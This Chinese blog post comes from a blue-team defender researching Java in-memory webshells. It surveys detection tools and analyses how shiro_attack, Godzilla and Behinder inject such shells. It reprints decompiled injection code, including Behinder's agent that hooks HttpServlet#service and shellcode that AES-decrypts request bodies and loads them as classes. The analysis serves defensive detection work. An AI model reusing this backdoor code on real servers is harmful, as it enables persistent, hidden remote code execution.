花生米一碟
前情提要:
作为一个菜鸡蓝队在21年的HW中才发现在应急中遇到内存马时难以去处理。重启应用固然对杀内存马有90%的有效性,但最大的问题在于没有植入内存马的证据。遇到一个Java应用便疑神疑鬼。
我:Java应用啊,可能有内存马。能重启下应用吗?
客户:? 瓜巴
于是抱着想要写一个内存马查杀工具的心态开始了Java内存马学习之路。
【⚠️ 在此之前作者对Java开发和安全相关并未有深入的学习实践,若文章存在BUG,望各位大佬斧正🧎♀️】
c0ny1师傅在20年8月的一篇文章中的一段内容作为下面的技术分享引入再合适不过:
其实内存马由来已久,早在17年n1nty师傅的《Tomcat源码调试笔记-看不见的shell》中已初见端倪,但一直不温不火。后经过rebeyong师傅使用agent技术加持后,拓展了内存马的使用场景,然终停留在奇技淫巧上。在各类hw洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。特别是今年在shiro的回显研究之后,引发了无数安全研究员对内存webshell的研究,其中涌现出了LandGrey师傅构造的Spring controller内存马。至此内存马开枝散叶……
Java内存马分类:
- Servlet API型内存马
网络上文章中常见的Filter、Listener、Servlet内存马。
- 基于中间件/框架特性
例如Tomcat容器攻防笔记之Valve内存马出世、基于内存 Webshell 的无文件攻击技术研究、利用intercetor注入spring内存webshell。
- Java Instrumentation型
例如利用“进程注入”实现无文件不死webshell。
其中1、2也能归于一类,几乎本质上都是新增了一个恶意类。
Java Instrumentation型也常被称为Agent型内存马,不过这两个意思并不完全等同,前者应包含后者。个人认为Agent型是指向目标应用attach一个恶意的Agent jar,这个jar的代码实现也是用到Instrumentation;Instrumentation型指对JVM现存类进行修改操作以植入恶意代码,这个修改一般是在请求路径上的某个类方法中插入一段恶意代码。换句话说,Instrumentation型包括了通过attach jar的方式修改类以插入恶意代码和通过反序列化不落地等方式直接通过字节码增强技术修改类以插入恶意代码。
若学习了上文提到的文章和相关技术,应对内存马有了基础的认知。作者也尽量不冗余的进行下面的内容了。:D
口水鸡一盘
作者的初衷是想写一个内存马查杀工具,那必不可少地要进行市场产品调研。
现有的查杀方式:
其实是一个java诊断工具,可以方便的用命令行的形式进行人工排查,但这个排查往往是有了已植入内存马相关信息后进行确认和清除的操作。
也是一个java诊断工具,有师傅提到可以利用VisualVM监控mbean来检测。不过以mbean进行检测易被反制,可以直接不考虑了。
不过mbean的注册只是为了方便资源的管理,并不影响功能,所以攻击者植入内存Webshell之后,完全可以通过执行Java代码来卸载掉这个mbean来隐藏自己。
似乎并未找到LandGery师傅对此工具的开发说明,不过作者学习源码后认为是目前最佳的内存马查杀雏形。
这篇是jweny师傅根据LandGrey师傅的copagent,在该项目基础上进行了重构,并于本文中记录了检测思路,以及部分核心代码。未提及查杀,说查杀将在下一篇详细分享。后来jweny师傅在MemShellDemo项目中说明此检测由于商业化原因,暂不开源。估计下一篇分析也不会有了。🥲
c0ny1师傅,文章主要提到filter型内存马的特征和filter/servlet内存马的查杀。同时有jsp式查杀项目java-memshell-scanner。
宽字节公众号
- 蓝队防守之新版冰蝎内存马清除指南
-
- 相关工具 - 未测试效果,建议阅读源码后酌情使用。
dump jvm class https://github.com/hengyunabc/dumpclass 清理工具 https://github.com/potats0/AgentMemShellScanner java -jar antiAgentMemShell.jar 23232 classname,23232为需要attach的jvm进程号, classname为想还原的类名。 注意,向线上服务器注入java agent可能导致业务中断,请谨慎操作。
- 相关工具 - 未测试效果,建议阅读源码后酌情使用。
- https://github.com/su18/MemoryShell#suagent
也是一个基于copagent项目进行拓展和优化的查杀项目,建议阅读源码后酌情使用。
对于非Agent马两种思路:
- 从系统中移除该对象。(推荐)
- 访问时抛异常(或跳过调用),中断此次调用。
对于Agent马:retransform。
参考 LandGrey 师傅的项目 copagent 使用 javaagent 技术获得了全部的类,判断其包名、实现类名、接口名、注解来提取关键类,并根据类是否在磁盘上有资源链接对象、类中是否包含恶意行为关键字来判断其是否为内存马。 在这里我参考了其项目,在 retransform 时做了同样的事,并在此基础上添加了一定的防御功能:同时 retransform 了恶意类,并在其关键调用代码调用时处理自己的逻辑。
太多不看版:
当你有开发Java内存马工具、实现相关产品功能或是作为红队想做到一些查杀绕过,推荐学习copagent项目。c0ny1师傅的文章也非常值得一看。
豆瓣鱼一条
HW时得知各WebShell工具和利用工具已官方装备或私人魔改内存马植入功能时心情特别忧伤。(还从?口中得知某友商19年就做了内存马植入武器化😢)无论如何,现在来一探究竟。
shiro_attack
https://github.com/j1anFen/shiro_attack
UI界面的内存马注入按钮对应实现:
injectMem会先调用GadgetPayload,若利用成功则将MemBytes作为post参数进行request,此处也是MemBytes唯一的usage。
在MemBytes中包含各内存马实现的编码字符串:
源码应该对应项目x下的文件:
植入选择如此丰富,那就全部植入进去看看。发现多出来的可疑类除了已知的会植入的x.???Filter/Servlet还有x.Test???。
Dump下来反编译后发现其实只有两种。除开某一个(A),其余的(B)代码都是一样的,只是类名不同。A看上去是反序列化exp,大量重复的B就是用于植入内存马的。B代码节选如下:
var3 = (String)var13.getClass().getMethod("getParameter", String.class).invoke(var13, new String("dy"));
if (var3 != null && !var3.isEmpty()) {
byte[] var14 = Base64.decode(var3);
Method var15 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var15.setAccessible(true);
Class var16 = (Class)var15.invoke(this.getClass().getClassLoader(), var14, new Integer(0), new Integer(var14.length));
var16.newInstance().equals(var13);
var5 = true;
}
到此基本破案,该工具通过反序列化传递恶意类字节码进行definseClass。也可以发现检测内存马的方式几乎是同样适用于做一些打反序列化痕迹的取证,对做应急挺有用的。
连接内存马分析
看源码时不太理解antsword和behinder的Filter中极为相似的doFilter函数的执行逻辑。
// AntSwordFilter.doFilter 节选
(new AntSwordFilter(this.getClass().getClassLoader())).g(this.base64Decode(cls)).newInstance().equals(new Object[]{req, res});
// BehinderFilter.doFilter 节选
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
由于Behinderv3.0是能连上这个BehinderFilter内存马的,而AntSword连不上,于是对Behinder进行调试。
调试分析结论:
Behinder客户端连接上BehinderFilter内存马后,会先传递net.rebeyond.behinder.payload.java.Echo
的字节码,并进行实例化,执行Echo的equals函数,回送连接成功的信息。即这一步的作用是进行连接验证。
但好奇命令执行如何实现的?
继续调试发现,如果在Behinder客户端命令执行窗口操作,客户端会将net.rebeyond.behinder.payload.java.Cmd
的字节码传递到BehinderFilter,同样执行equals函数。Cmd.equals()->Cmd.RunCMD()
,而RunCMD就能看到敏感函数操作了。
Godzilla v3.03
根据项目README,可定位到Godzilla/shells/plugins/java/MemoryShell.class
。
public class MemoryShell implements Plugin {
private static final String[] MEMORYSHELS = new String[]{"AES_BASE64", "AES_RAW", "Cknife", "ReGeorg"};
private ShellEntity shellEntity;
会加载Godzilla/shells/plugins/java/assets/
下的对应名称文件:
InputStream inputStream = this.getClass().getResourceAsStream(String.format("assets/%s.classs", shellName));
这四个都是Servlet型内存马,且均通过noLog函数实现了Tomcat下通过Valve隐藏日志的功能。
冰蝎 v3.0
版本:2021.4.29 v3.0 Beta 11【t00ls专版】
在注入内存马的时候,shell会通过目标操作系统的类别判断上传哪种java agent的jar包。路径如下:
通过diff可知这4个版本的jar主体逻辑是一致的,即tools_?/net/rebeyond/behinder/payload/java/MemShell.java
不存在差异。
tools_0.jar,tools_1.jar,tools_2.jar主要差异在于根据不同操作系统AttachProvider和VirtualMachine实现。
Only in tools_0.src/sun/tools/attach: WindowsAttachProvider.java
Only in tools_0.src/sun/tools/attach: WindowsVirtualMachine.java
Only in tools_1.src/sun/tools/attach: LinuxAttachProvider.java
Only in tools_1.src/sun/tools/attach: LinuxVirtualMachine.java
Only in tools_2.src/sun/tools/attach: SolarisAttachProvider.java
Only in tools_2.src/sun/tools/attach: SolarisVirtualMachine.java
tools_3.jar有部分文件代码改动,但和内存马的实现基本没关系,在此可以忽略。
MemShell.java
冰蝎内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数,在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。
for (Class<?> cls : cLasses) {
if (targetClasses.keySet().contains(cls.getName())) {
String targetClassName = cls.getName();
try {
String path = new String(base64decode(args.split("\\|")[0]));
String key = new String(base64decode(args.split("\\|")[1]));
shellCode = String.format(shellCode, new Object[] { path, key });
if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");
}
ClassClassPath classPath = new ClassClassPath(cls);
cPool.insertClassPath(classPath);
cPool.importPackage("java.lang.reflect.Method");
cPool.importPackage("javax.crypto.Cipher");
List<CtClass> paramClsList = new ArrayList();
for (String clsName : (List)((Map)targetClasses.get(targetClassName)).get("paramList")) {
paramClsList.add(cPool.get(clsName));
}
CtClass cClass = cPool.get(targetClassName);
methodName = ((Map)targetClasses.get(targetClassName)).get("methodName").toString();
CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[])paramClsList.toArray(new CtClass[paramClsList.size()]));
cMethod.insertBefore(shellCode);
cClass.detach();
data = cClass.toBytecode();
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});
......
shellcode:
javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern = "%s";
if (request.getRequestURI().matches(pathPattern)) {
java.util.Map obj = new java.util.HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
ClassLoader loader = this.getClass().getClassLoader();
if (request.getMethod().equals("POST")) {
try {
String k = "%s";
session.putValue("u", k);
java.lang.ClassLoader systemLoader = java.lang.ClassLoader.getSystemClassLoader();
Class cipherCls = systemLoader.loadClass("javax.crypto.Cipher");
Object c = cipherCls.getDeclaredMethod("getInstance", new Class[] {String.class}).invoke((java.lang.Object)cipherCls, new Object[] {"AES"});
Object keyObj = systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[] {byte[].class, String.class}).newInstance(new Object[] {k.getBytes(), "AES"});
java.lang.reflect.Method initMethod = cipherCls.getDeclaredMethod("init", new Class[] {int.class, systemLoader.loadClass("java.security.Key")});
initMethod.invoke(c, new Object[] {new Integer(2), keyObj});
java.lang.reflect.Method doFinalMethod = cipherCls.getDeclaredMethod("doFinal", new Class[] {byte[].class});
byte[] requestBody = null;
try {
Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
requestBody = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class}).invoke(Decoder, new Object[] {request.getReader().readLine()});
} catch (Exception ex) {
Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
requestBody = (byte[])Decoder.getClass().getMethod("decode", new Class[] {String.class}).invoke(Decoder, new Object[] {request.getReader().readLine()});
}
byte[] buf = (byte[])doFinalMethod.invoke(c, new Object[] {requestBody});
java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[] {String.class, java.nio.ByteBuffer.class, java.security.ProtectionDomain.class});
defineMethod.setAccessible(true);
java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[] {java.lang.ClassLoader.class});
constructor.setAccessible(true);
java.lang.ClassLoader cl = (java.lang.ClassLoader)constructor.newInstance(new Object[] {loader});
java.lang.Class c = (java.lang.Class)defineMethod.invoke((java.lang.Object)cl, new Object[] {null, java.nio.ByteBuffer.wrap(buf), null});
c.newInstance().equals(obj);
} catch (java.lang.Exception e)
{ e.printStackTrace();} catch (java.lang.Error error) {
error.printStackTrace();
} return;
}
}
即与冰蝎客户端交互的代码。
以及从源码上看,除了agent型内存马,似乎对Filter、Servlet型也有支持。
葱花
多看几个项目就会发现实现上有很多的异曲同工之妙。菜鸡作者分析非常有限,拿到想要的信息就跑了。orz
也才发现如今对Java应用的攻击中内存驻留已成为常态。猜想RASP白名单模式的防护对于内存马是非常有效的,但应急中也并不是每个客户都有这样的设备和条件,仍给了红队可乘之机。
瓜子与茶水
在作者开发过程中意识到做一个Java内存马检测的工具也并无太大技术含量可言,所以这块内容就不拿出来献丑了。即使作者的查杀工具beta已release,但仍有许多不完善的地方和可优化的空间。必然是作者对Java马的植入了解与实践都不够所致,后续应有相关Update。
做此分享的目的是希望有更多小伙伴进行交流。(带带我🥺